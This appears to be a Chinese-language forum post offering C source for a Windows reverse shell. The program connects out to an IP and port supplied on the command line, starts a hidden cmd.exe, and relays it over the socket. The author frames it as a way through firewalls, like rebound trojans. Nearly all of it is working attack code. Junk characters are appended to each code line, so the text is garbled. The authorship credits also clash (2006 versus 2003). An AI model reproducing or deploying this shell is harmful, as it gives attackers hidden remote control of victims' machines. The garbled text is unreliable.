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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7thB1cOJ  
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/* ============================== !A=>B=.|D  
Rebound port in Windows NT IiB"F<&[j{  
By wind,2006/7 %dDwus  
===============================*/ pa2cM%48  
#include Y~g*"J5j  
#include Wer.VL  
,+o*>fD  
#pragma comment(lib,"wsock32.lib") BiI`oCX  
zOT(>1'  
void OutputShell(); <69Uq8GI  
SOCKET sClient; .TKKjS%8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @ZtDjxN &  
0})mCVBY  
void main(int argc,char **argv) b^C2<'  
{ OE[N$,4I*  
WSADATA stWsaData; +kZW:t!-  
int nRet;  HV\l86}  
SOCKADDR_IN stSaiClient,stSaiServer; ;6/dFOZn  
pHv~^L%=  
if(argc != 3) v|#}LQZ  
{ ?0hEd9TU  
printf("Useage:\n\rRebound DestIP DestPort\n"); WN9K*Tt~o&  
return; :}3;z'2]l  
} MNV OloA  
P,ud"F=r  
WSAStartup(MAKEWORD(2,2),&stWsaData); +9[s(E?SY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !R"iV^?V  
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stSaiClient.sin_family = AF_INET; CI~ll=9`  
stSaiClient.sin_port = htons(0); (vb8Mk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HZEDr}RN  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E'wJ+X9 +  
{ %:vMD  
printf("Bind Socket Failed!\n"); }RN&w ]<  
return; a534@U4,  
} j/PNi@  
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stSaiServer.sin_family = AF_INET; HL34pmc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `2.2; Vk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (OT&:WwW  
1GI/gc\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8oVQ:' 6  
{ TaTs-]4  
printf("Connect Error!"); 5*IfI+}  
return; ,+hH|$  
} B?p18u$i#l  
OutputShell(); G~fM!F0   
} WC *e#QP  
:qL1jnR^  
void OutputShell() ">hOD'PG  
{ E[E7GsmqV  
char szBuff[1024]; V detY\  
SECURITY_ATTRIBUTES stSecurityAttributes; Qkq9oZ  
OSVERSIONINFO stOsversionInfo; U f <hzP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v cZg3:j  
STARTUPINFO stStartupInfo; dzn[4  
char *szShell; *eb2()B%  
PROCESS_INFORMATION stProcessInformation; bUBQ  
unsigned long lBytesRead; U-0A}@N  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5y%-K=d  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %}0B7_6B+@  
stSecurityAttributes.lpSecurityDescriptor = 0; 0}d^UGD  
stSecurityAttributes.bInheritHandle = TRUE; Kfl#78$d  
@Wb_Sz4`  
b w2KD7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1Zj NRg=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _0: }"!Gq  
T_=iJ: Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F#^<t$5t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @#CZ7~Hn  
stStartupInfo.wShowWindow = SW_HIDE; L/sMAB  
stStartupInfo.hStdInput = hReadPipe; YN>k5\M_v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D8S3YdJ  
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GetVersionEx(&stOsversionInfo); U81--'@y  
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switch(stOsversionInfo.dwPlatformId) LqA&@  
{ 'gQ0=6(\  
case 1: HX&G  k  
szShell = "command.com"; -fILXu  
break; CW)JS3}W"  
default: eK)R=M@i  
szShell = "cmd.exe"; wTw)GV4  
break; U:1cbD7|3  
} ~Y.I;EPKt  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rQ*Fc~^L  
2uln)]  
send(sClient,szMsg,77,0); O"6 (k{`  
while(1) !um~P  
{ =]swhF+l-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _9<nM48+t  
if(lBytesRead) R5KOai!  
{ iXsX@ S^F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tzn+ M0'  
send(sClient,szBuff,lBytesRead,0); {k"t`uo_  
} f}%paE"  
else :{Mr~Co*  
{ DY(pU/q  
lBytesRead=recv(sClient,szBuff,1024,0); )4tOTi[  
if(lBytesRead<=0) break; ^_rBEyz@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pcrarj  
} ;if PqL kO  
} bMp[:dw`y  
r\."=l  
return; ]o<&Q52|  
}
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